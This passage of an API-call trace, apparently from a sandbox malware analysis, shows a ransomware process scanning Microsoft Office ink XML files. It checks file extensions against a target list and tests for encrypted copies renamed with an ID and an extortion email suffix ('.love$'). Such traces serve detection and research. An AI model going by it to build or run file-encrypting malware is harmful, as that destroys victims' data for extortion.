(normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0106.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0106.869] lstrlenW (lpString=".doc") returned 4 [0106.869] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.869] lstrlenW (lpString=".docx") returned 5 [0106.869] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0106.869] lstrlenW (lpString=".pdf") returned 4 [0106.869] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.869] lstrlenW (lpString=".xls") returned 4 [0106.869] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.869] lstrlenW (lpString=".xlsx") returned 5 [0106.869] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0106.869] lstrlenW (lpString=".ppt") returned 4 [0106.869] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0106.869] lstrlenW (lpString=".zip") returned 4 [0106.869] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.869] lstrlenW (lpString=".rar") returned 4 [0106.869] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.869] lstrlenW (lpString=".bz2") returned 4 [0106.870] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.870] lstrlenW (lpString=".7z") returned 3 [0106.870] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0106.870] lstrlenW (lpString=".dbf") returned 4 [0106.870] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0106.870] lstrlenW (lpString=".1cd") returned 4 [0106.870] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0106.870] lstrlenW (lpString=".jpg") returned 4 [0106.870] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0106.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0106.870] lstrlenW (lpString=".doc") returned 4 [0106.870] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.870] lstrlenW (lpString=".docx") returned 5 [0106.870] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0106.870] lstrlenW (lpString=".pdf") returned 4 [0106.870] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.870] lstrlenW (lpString=".xls") returned 4 [0106.870] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.870] lstrlenW (lpString=".xlsx") returned 5 [0106.870] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0106.870] lstrlenW (lpString=".ppt") returned 4 [0106.870] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0106.871] lstrlenW (lpString=".zip") returned 4 [0106.871] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.871] lstrlenW (lpString=".rar") returned 4 [0106.871] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.871] lstrlenW (lpString=".bz2") returned 4 [0106.871] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.871] lstrlenW (lpString=".7z") returned 3 [0106.871] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0106.871] lstrlenW (lpString=".dbf") returned 4 [0106.871] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0106.871] lstrlenW (lpString=".1cd") returned 4 [0106.871] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml") returned 61 [0106.871] lstrlenW (lpString=".jpg") returned 4 [0106.871] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.871] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.871] lstrlenW (lpString="ipssrb.xml") returned 10 [0106.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.872] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=2568) returned 1 [0106.872] CloseHandle (hObject=0x368) returned 1 [0106.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0106.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0106.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0106.872] lstrlenW (lpString=".doc") returned 4 [0106.873] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.873] lstrlenW (lpString=".docx") returned 5 [0106.873] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0106.873] lstrlenW (lpString=".pdf") returned 4 [0106.873] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.873] lstrlenW (lpString=".xls") returned 4 [0106.873] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.873] lstrlenW (lpString=".xlsx") returned 5 [0106.873] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0106.873] lstrlenW (lpString=".ppt") returned 4 [0106.873] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0106.873] lstrlenW (lpString=".zip") returned 4 [0106.873] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.873] lstrlenW (lpString=".rar") returned 4 [0106.873] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.873] lstrlenW (lpString=".bz2") returned 4 [0106.873] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.873] lstrlenW (lpString=".7z") returned 3 [0106.873] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0106.873] lstrlenW (lpString=".dbf") returned 4 [0106.873] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0106.873] lstrlenW (lpString=".1cd") returned 4 [0106.873] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0106.874] lstrlenW (lpString=".jpg") returned 4 [0106.874] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0106.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0106.874] lstrlenW (lpString=".doc") returned 4 [0106.874] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.874] lstrlenW (lpString=".docx") returned 5 [0106.874] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0106.874] lstrlenW (lpString=".pdf") returned 4 [0106.874] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.874] lstrlenW (lpString=".xls") returned 4 [0106.874] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.874] lstrlenW (lpString=".xlsx") returned 5 [0106.874] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0106.874] lstrlenW (lpString=".ppt") returned 4 [0106.874] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0106.874] lstrlenW (lpString=".zip") returned 4 [0106.874] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.874] lstrlenW (lpString=".rar") returned 4 [0106.874] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.874] lstrlenW (lpString=".bz2") returned 4 [0106.874] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.874] lstrlenW (lpString=".7z") returned 3 [0106.874] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0106.875] lstrlenW (lpString=".dbf") returned 4 [0106.875] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0106.875] lstrlenW (lpString=".1cd") returned 4 [0106.875] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0106.875] lstrlenW (lpString=".jpg") returned 4 [0106.875] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.875] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.875] lstrlenW (lpString="ipssrl.xml") returned 10 [0106.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.876] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=2596) returned 1 [0106.876] CloseHandle (hObject=0x368) returned 1 [0106.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0106.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0106.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0106.876] lstrlenW (lpString=".doc") returned 4 [0106.876] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.876] lstrlenW (lpString=".docx") returned 5 [0106.876] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0106.876] lstrlenW (lpString=".pdf") returned 4 [0106.876] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.876] lstrlenW (lpString=".xls") returned 4 [0106.876] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.876] lstrlenW (lpString=".xlsx") returned 5 [0106.876] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0106.877] lstrlenW (lpString=".ppt") returned 4 [0106.877] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0106.877] lstrlenW (lpString=".zip") returned 4 [0106.877] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.877] lstrlenW (lpString=".rar") returned 4 [0106.877] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.877] lstrlenW (lpString=".bz2") returned 4 [0106.877] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.877] lstrlenW (lpString=".7z") returned 3 [0106.877] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0106.877] lstrlenW (lpString=".dbf") returned 4 [0106.877] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0106.877] lstrlenW (lpString=".1cd") returned 4 [0106.877] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0106.877] lstrlenW (lpString=".jpg") returned 4 [0106.877] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0106.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0106.877] lstrlenW (lpString=".doc") returned 4 [0106.878] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.878] lstrlenW (lpString=".docx") returned 5 [0106.878] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0106.878] lstrlenW (lpString=".pdf") returned 4 [0106.878] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.878] lstrlenW (lpString=".xls") returned 4 [0106.878] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.878] lstrlenW (lpString=".xlsx") returned 5 [0106.878] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0106.878] lstrlenW (lpString=".ppt") returned 4 [0106.878] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0106.878] lstrlenW (lpString=".zip") returned 4 [0106.878] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.878] lstrlenW (lpString=".rar") returned 4 [0106.878] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.878] lstrlenW (lpString=".bz2") returned 4 [0106.878] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.878] lstrlenW (lpString=".7z") returned 3 [0106.878] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0106.878] lstrlenW (lpString=".dbf") returned 4 [0106.878] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0106.879] lstrlenW (lpString=".1cd") returned 4 [0106.879] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61 [0106.879] lstrlenW (lpString=".jpg") returned 4 [0106.879] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.879] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.879] lstrlenW (lpString="ipssve.xml") returned 10 [0106.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.880] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=2520) returned 1 [0106.880] CloseHandle (hObject=0x368) returned 1 [0106.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0106.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0106.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0106.881] lstrlenW (lpString=".doc") returned 4 [0106.881] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.881] lstrlenW (lpString=".docx") returned 5 [0106.881] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0106.881] lstrlenW (lpString=".pdf") returned 4 [0106.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.881] lstrlenW (lpString=".xls") returned 4 [0106.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.881] lstrlenW (lpString=".xlsx") returned 5 [0106.881] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0106.881] lstrlenW (lpString=".ppt") returned 4 [0106.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0106.881] lstrlenW (lpString=".zip") returned 4 [0106.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.882] lstrlenW (lpString=".rar") returned 4 [0106.882] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.882] lstrlenW (lpString=".bz2") returned 4 [0106.882] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.882] lstrlenW (lpString=".7z") returned 3 [0106.882] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0106.882] lstrlenW (lpString=".dbf") returned 4 [0106.882] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0106.882] lstrlenW (lpString=".1cd") returned 4 [0106.882] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0106.882] lstrlenW (lpString=".jpg") returned 4 [0106.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0106.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0106.882] lstrlenW (lpString=".doc") returned 4 [0106.882] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.882] lstrlenW (lpString=".docx") returned 5 [0106.882] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0106.882] lstrlenW (lpString=".pdf") returned 4 [0106.882] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.882] lstrlenW (lpString=".xls") returned 4 [0106.882] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.882] lstrlenW (lpString=".xlsx") returned 5 [0106.883] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0106.883] lstrlenW (lpString=".ppt") returned 4 [0106.883] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0106.883] lstrlenW (lpString=".zip") returned 4 [0106.883] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.883] lstrlenW (lpString=".rar") returned 4 [0106.883] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.883] lstrlenW (lpString=".bz2") returned 4 [0106.883] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.883] lstrlenW (lpString=".7z") returned 3 [0106.883] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0106.883] lstrlenW (lpString=".dbf") returned 4 [0106.883] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0106.883] lstrlenW (lpString=".1cd") returned 4 [0106.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61 [0106.883] lstrlenW (lpString=".jpg") returned 4 [0106.883] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.883] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.884] lstrlenW (lpString="ipstr.xml") returned 9 [0106.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.884] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x30dff14 | out: lpFileSize=0x30dff14*=2720) returned 1 [0106.884] CloseHandle (hObject=0x368) returned 1 [0106.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0106.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0106.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0106.884] lstrlenW (lpString=".doc") returned 4 [0106.885] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.885] lstrlenW (lpString=".docx") returned 5 [0106.885] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0106.885] lstrlenW (lpString=".pdf") returned 4 [0106.885] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.885] lstrlenW (lpString=".xls") returned 4 [0106.885] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.885] lstrlenW (lpString=".xlsx") returned 5 [0106.885] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0106.885] lstrlenW (lpString=".ppt") returned 4 [0106.885] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0106.885] lstrlenW (lpString=".zip") returned 4 [0106.885] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.885] lstrlenW (lpString=".rar") returned 4 [0106.885] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.885] lstrlenW (lpString=".bz2") returned 4 [0106.885] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.885] lstrlenW (lpString=".7z") returned 3 [0106.885] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0106.885] lstrlenW (lpString=".dbf") returned 4 [0106.885] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0106.885] lstrlenW (lpString=".1cd") returned 4 [0106.885] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0106.886] lstrlenW (lpString=".jpg") returned 4 [0106.886] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0106.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0106.886] lstrlenW (lpString=".doc") returned 4 [0106.886] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.886] lstrlenW (lpString=".docx") returned 5 [0106.886] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0106.886] lstrlenW (lpString=".pdf") returned 4 [0106.886] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.886] lstrlenW (lpString=".xls") returned 4 [0106.886] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.886] lstrlenW (lpString=".xlsx") returned 5 [0106.886] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0106.886] lstrlenW (lpString=".ppt") returned 4 [0106.886] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60 [0106.886] lstrlenW (lpString=".zip") returned 4 [0106.886] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.886] lstrlenW (lpString=".rar") returned 4 [0106.886] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.886] lstrlenW (lpString=".bz2") returned 4 [0106.886] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.886] 